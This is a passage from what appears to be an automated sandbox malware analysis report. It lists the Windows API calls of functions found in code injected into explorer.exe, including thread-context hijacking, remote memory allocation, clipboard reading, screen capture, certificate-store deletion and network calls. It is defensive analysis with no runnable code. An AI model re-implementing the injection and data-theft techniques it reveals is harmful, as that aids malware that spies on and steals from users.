    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00E449C2
    • RestoreDC.GDI32(?), ref: 00E449D4
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E496EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00E49703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00E4971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00E49737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00E4974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00E49766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00E49770
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E49656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(00E4DF1D,00000000,00000000,00000001,F0000040), ref: 00E4966F
    • CryptCreateHash.ADVAPI32(00E4DF1D,00008003,00000000,00000000,00000030), ref: 00E49687
    • CryptHashData.ADVAPI32(00000030,00000010,00E4DF1D,00000000), ref: 00E496A3
    • CryptGetHashParam.ADVAPI32(00000030,00000002,00000030,00000010,00000000), ref: 00E496BB
    • CryptDestroyHash.ADVAPI32(00000030), ref: 00E496D2
    • CryptReleaseContext.ADVAPI32(00E4DF1D,00000000), ref: 00E496DC
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E58AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00E58BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00E58C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,00000000), ref: 00E58C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104), ref: 00E58C91
      • Part of subcall function 00E50533: CreateMutexW.KERNEL32(00E62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00E50556
      • Part of subcall function 00E3AD37: GetVersionExW.KERNEL32(?), ref: 00E3AD5B
      • Part of subcall function 00E3AD37: GetNativeSystemInfo.KERNEL32(?), ref: 00E3AD6A
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E48245: GetSystemTime.KERNEL32(?), ref: 00E4824F
      • Part of subcall function 00E48245: SystemTimeToFileTime.KERNEL32(?,?), ref: 00E4825D
      • Part of subcall function 00E4826D: GetTimeZoneInformation.KERNEL32(?), ref: 00E4827C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4C8C5, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103
    APIs
      • Part of subcall function 00E4977E: GetTickCount.KERNEL32 ref: 00E4977E
    • CharUpperW.USER32(?,?,.exe,00000000), ref: 00E4C9E6
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E56166, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00E56181
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00E5619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 00E561AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 00E5623C
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3ADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00E3ADC8
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    • LocalFree.KERNEL32(?), ref: 00E3AE5A
      • Part of subcall function 00E4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00E4C6C6
      • Part of subcall function 00E4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E4C748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 00E3AE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E3AE42
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4A06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 00E4A082
    • InternetSetOptionA.WININET(?,00000002,00E6253C,00000004), ref: 00E4A0A1
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E4A0BE
    • InternetCloseHandle.WININET ref: 00E4A0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 00E4A073, 00E4A081
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4A52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 00E4A53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00E4A551
    • FreeLibrary.KERNEL32(?), ref: 00E4A5A2
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E538DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00E53946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E539D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00E539F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E53A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00E53A3E
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5ACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
    • GetCurrentThread.KERNEL32 ref: 00E5ACF9
    • SetThreadPriority.KERNEL32 ref: 00E5AD00
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00E5AD1E
      • Part of subcall function 00E55B94: RegOpenKeyExW.ADVAPI32(80000001,00E64028,00000000,00000001,016BFF94), ref: 00E55BD3
    • CreateMutexW.KERNEL32(00E62AFC,00000001,016BFF28), ref: 00E5ADF7
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
      • Part of subcall function 00E49ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00E49EEB
      • Part of subcall function 00E49ED7: CloseHandle.KERNEL32 ref: 00E49EF6
      • Part of subcall function 00E4BD28: GetLastError.KERNEL32(7C802530,00E37E8B), ref: 00E4BD2B
      • Part of subcall function 00E4BD28: CloseHandle.KERNEL32 ref: 00E4BD39
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00E5AEBD
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4E587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 00E4E5A8
      • Part of subcall function 00E4D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00E4D93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 00E4E5E9
    • CloseHandle.KERNEL32 ref: 00E4E5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 00E4E664
    • SetEndOfFile.KERNEL32 ref: 00E4E68A
      • Part of subcall function 00E4D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00E4D8F0
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • GetProcessId.KERNEL32(?), ref: 00E567F4
      • Part of subcall function 00E44EBF: CharLowerW.USER32 ref: 00E44EF2
      • Part of subcall function 00E37E34: CreateMutexW.KERNEL32(00E62AFC,00000001,0269FF20), ref: 00E37E7C
      • Part of subcall function 00E37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00E37F40
      • Part of subcall function 00E37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00E3802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 00E5689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 00E568DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 00E568F2
    • CloseHandle.KERNEL32(?), ref: 00E568FB
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4FA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetDIBits.GDI32(00E645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00E4FA54
    • GetDIBits.GDI32(00E645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00E4FA6A
    • DeleteObject.GDI32(00000002), ref: 00E4FA77
    • CreateDIBSection.GDI32(00E645C0,?,00000000,00000000,00000000,00000000), ref: 00E4FAE7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • DeleteObject.GDI32(00000002), ref: 00E4FB06
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E57784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 00E5778F
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • InternetSetStatusCallbackW.WININET(?,00E5775B), ref: 00E577BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 00E577F7
    • GetLastError.KERNEL32 ref: 00E57801
      • Part of subcall function 00E4BCB2: TranslateMessage.USER32(?), ref: 00E4BCD4
      • Part of subcall function 00E4BCB2: DispatchMessageW.USER32(?), ref: 00E4BCDF
      • Part of subcall function 00E4BCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00E4BCEF
      • Part of subcall function 00E4BCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00E4BD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 00E5785A
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E480EB: HeapAlloc.KERNEL32(00000008,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?,?), ref: 00E4810D
      • Part of subcall function 00E480EB: HeapReAlloc.KERNEL32(00000008,?,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?), ref: 00E4811E
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E38D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00E38DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 00E38E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00E38E3D
    • FlushFileBuffers.KERNEL32(?), ref: 00E38E51
    • CloseHandle.KERNEL32(?), ref: 00E38E5A
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E44CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00E44CF6
    • IntersectRect.USER32(?,?), ref: 00E44D34
    • IsRectEmpty.USER32(?), ref: 00E44D46
    • IntersectRect.USER32(?,?), ref: 00E44D5D
      • Part of subcall function 00E44B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00E44B85
      • Part of subcall function 00E44B5A: ResetEvent.KERNEL32(?), ref: 00E44BCD
      • Part of subcall function 00E44B5A: PostMessageW.USER32(?,?), ref: 00E44BF7
      • Part of subcall function 00E44B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00E44C06
      • Part of subcall function 00E44B5A: ResetEvent.KERNEL32(?), ref: 00E44C31
      • Part of subcall function 00E44B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00E44C45
      • Part of subcall function 00E44B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00E44C57
      • Part of subcall function 00E44B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00E44C7A
      • Part of subcall function 00E44B5A: IntersectRect.USER32(?,?,?), ref: 00E44CA2
      • Part of subcall function 00E44B5A: FillRect.USER32(?,?,00000006), ref: 00E44CB4
      • Part of subcall function 00E44B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00E44CC8
    • GetTopWindow.USER32(?), ref: 00E44D8C
      • Part of subcall function 00E4CC46: GetWindow.USER32(?,00000001), ref: 00E4CC68
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E586E2, Relevance: 7.6, APIs: 5, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 00E586EB
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • GlobalLock.KERNEL32 ref: 00E5871F
    • EnterCriticalSection.KERNEL32(00E64170,00000000), ref: 00E5875F
      • Part of subcall function 00E583EA: EnterCriticalSection.KERNEL32(00E64170,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58407
      • Part of subcall function 00E583EA: LeaveCriticalSection.KERNEL32(00E64170,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58428
      • Part of subcall function 00E583EA: EnterCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58439
      • Part of subcall function 00E583EA: LeaveCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E584C1
    • LeaveCriticalSection.KERNEL32(00E64170,?,00E37298), ref: 00E58776
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • GlobalUnlock.KERNEL32(?), ref: 00E58789
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E560BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00E560DC
    • GetModuleHandleA.KERNEL32(?), ref: 00E560FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00E56106
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00E56125
    • VerQueryValueA.VERSION(?,00E37250,00000000,00000000), ref: 00E56145
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E56387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 00E563DB
    • GetProcAddress.KERNEL32(?,?), ref: 00E563E7
    • GetProcAddress.KERNEL32(?,?), ref: 00E563F3
    • GetProcAddress.KERNEL32(?,?), ref: 00E563FF
    • GetProcAddress.KERNEL32(?,?), ref: 00E5640B
      • Part of subcall function 00E55E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00E55E37
      • Part of subcall function 00E3924C: InterlockedExchange.KERNEL32(00E63060,00000000,7C80AE40), ref: 00E39261
      • Part of subcall function 00E3924C: InterlockedExchange.KERNEL32(00E63040,00000000), ref: 00E3926A
      • Part of subcall function 00E3924C: InitializeCriticalSection.KERNEL32(00E63018), ref: 00E39271
      • Part of subcall function 00E3924C: GetProcAddress.KERNEL32(?,?), ref: 00E392D1
      • Part of subcall function 00E3924C: GetProcAddress.KERNEL32(?), ref: 00E392E2
      • Part of subcall function 00E3924C: GetProcAddress.KERNEL32(?), ref: 00E392F2
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E503CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00E5040E
    • Sleep.KERNEL32(000001F4), ref: 00E5041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00E50432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00E5044A
    • RegCloseKey.ADVAPI32(?), ref: 00E50459
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4BA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 00E4BA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00E58A0E,00000000,?,00000000,00000000), ref: 00E4BAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00E58A0E,00000000,?,00000000,00000000,00020000,00000001,?,00E58A0E,00000000,00020000), ref: 00E4BAAD
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 00E4BAD9
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • #3.WS2_32(?,?,48000016,00000000,00000000,00E58A0E,00000000,?,00000000,00000000,00020000,00000001,?,00E58A0E,00000000,00020000), ref: 00E4BAED
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4DCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00E4DCF0
      • Part of subcall function 00E4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4D95E
      • Part of subcall function 00E4D955: DeleteFileW.KERNEL32(?), ref: 00E4D968
    • FindNextFileW.KERNEL32(?,?), ref: 00E4DD4B
    • FindClose.KERNEL32 ref: 00E4DD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 00E4DD62
    • RemoveDirectoryW.KERNEL32(?), ref: 00E4DD69
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5B388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(00E645A0), ref: 00E5B39D
    • LeaveCriticalSection.KERNEL32(00E645A0), ref: 00E5B3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 00E5B3D3
    • EnterCriticalSection.KERNEL32(00E645A0), ref: 00E5B3DE
    • LeaveCriticalSection.KERNEL32(00E645A0), ref: 00E5B3FC
      • Part of subcall function 00E4B708: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4B733
      • Part of subcall function 00E4B708: recv.WS2_32(?,?,00000400,00000000), ref: 00E4B77B
      • Part of subcall function 00E4B708: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000,?,00E645A0), ref: 00E4B795
      • Part of subcall function 00E4B708: select.WS2_32(00000000,?,00000000,00000000,00E5B414), ref: 00E4B7D5
      • Part of subcall function 00E5B2E3: EnterCriticalSection.KERNEL32(00E645A0,?,?,00E5B607,00000000,00E5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00E5B2F4
      • Part of subcall function 00E5B2E3: CloseHandle.KERNEL32(?), ref: 00E5B330
      • Part of subcall function 00E5B2E3: LeaveCriticalSection.KERNEL32(00E645A0,?,?,00E5B607,00000000,00E5B388,?,000000FF,00000002,?,?,?,?,?), ref: 00E5B37F
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E44AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00E44AD3
    • SetThreadPriority.KERNEL32 ref: 00E44ADA
    • SetEvent.KERNEL32 ref: 00E44AEC
      • Part of subcall function 00E44383: GetWindowInfo.USER32(?,?), ref: 00E443EF
      • Part of subcall function 00E44383: IntersectRect.USER32(?,?), ref: 00E44412
      • Part of subcall function 00E44383: IntersectRect.USER32(?,?), ref: 00E44468
      • Part of subcall function 00E44383: GetDC.USER32(00000000), ref: 00E444AC
      • Part of subcall function 00E44383: CreateCompatibleDC.GDI32 ref: 00E444BD
      • Part of subcall function 00E44383: ReleaseDC.USER32(00000000), ref: 00E444C7
      • Part of subcall function 00E44383: SelectObject.GDI32(?,?), ref: 00E444DC
      • Part of subcall function 00E44383: DeleteDC.GDI32 ref: 00E444EA
      • Part of subcall function 00E44383: TlsSetValue.KERNEL32(?), ref: 00E44535
      • Part of subcall function 00E44383: EqualRect.USER32(?,?), ref: 00E4454F
      • Part of subcall function 00E44383: SaveDC.GDI32 ref: 00E4455A
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44575
      • Part of subcall function 00E44383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00E44595
      • Part of subcall function 00E44383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00E445A7
      • Part of subcall function 00E44383: RestoreDC.GDI32(?,?), ref: 00E445BE
      • Part of subcall function 00E44383: SaveDC.GDI32 ref: 00E445E0
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E445F6
      • Part of subcall function 00E44383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00E4460F
      • Part of subcall function 00E44383: RestoreDC.GDI32(?,?), ref: 00E4461D
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E44630
      • Part of subcall function 00E44383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00E44640
      • Part of subcall function 00E44383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00E44652
      • Part of subcall function 00E44383: TlsSetValue.KERNEL32(00000000), ref: 00E4466C
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E4468C
      • Part of subcall function 00E44383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00E446A8
      • Part of subcall function 00E44383: SelectObject.GDI32(?,?), ref: 00E446BE
      • Part of subcall function 00E44383: DeleteDC.GDI32 ref: 00E446C5
      • Part of subcall function 00E44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00E446ED
      • Part of subcall function 00E44383: PrintWindow.USER32(00000008,?,00000000), ref: 00E44703
    • SetEvent.KERNEL32 ref: 00E44B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00E44B46
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E50BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00E371B8,?,?,00E38470), ref: 00E50BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,014BFFB0,?,?,00E38470), ref: 00E50C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,014BFFB0,?,?,00E38470), ref: 00E50C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,014BFFB0,?,?,00E38470), ref: 00E50C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,014BFFB0,?,?,00E38470), ref: 00E50C1F
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5C7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E5C7B9
    • ReleaseMutex.KERNEL32 ref: 00E5C7ED
    • IsWindow.USER32(?), ref: 00E5C7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 00E5C80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 00E5C816
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E543C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00E4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00E4C6C6
      • Part of subcall function 00E4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E54429
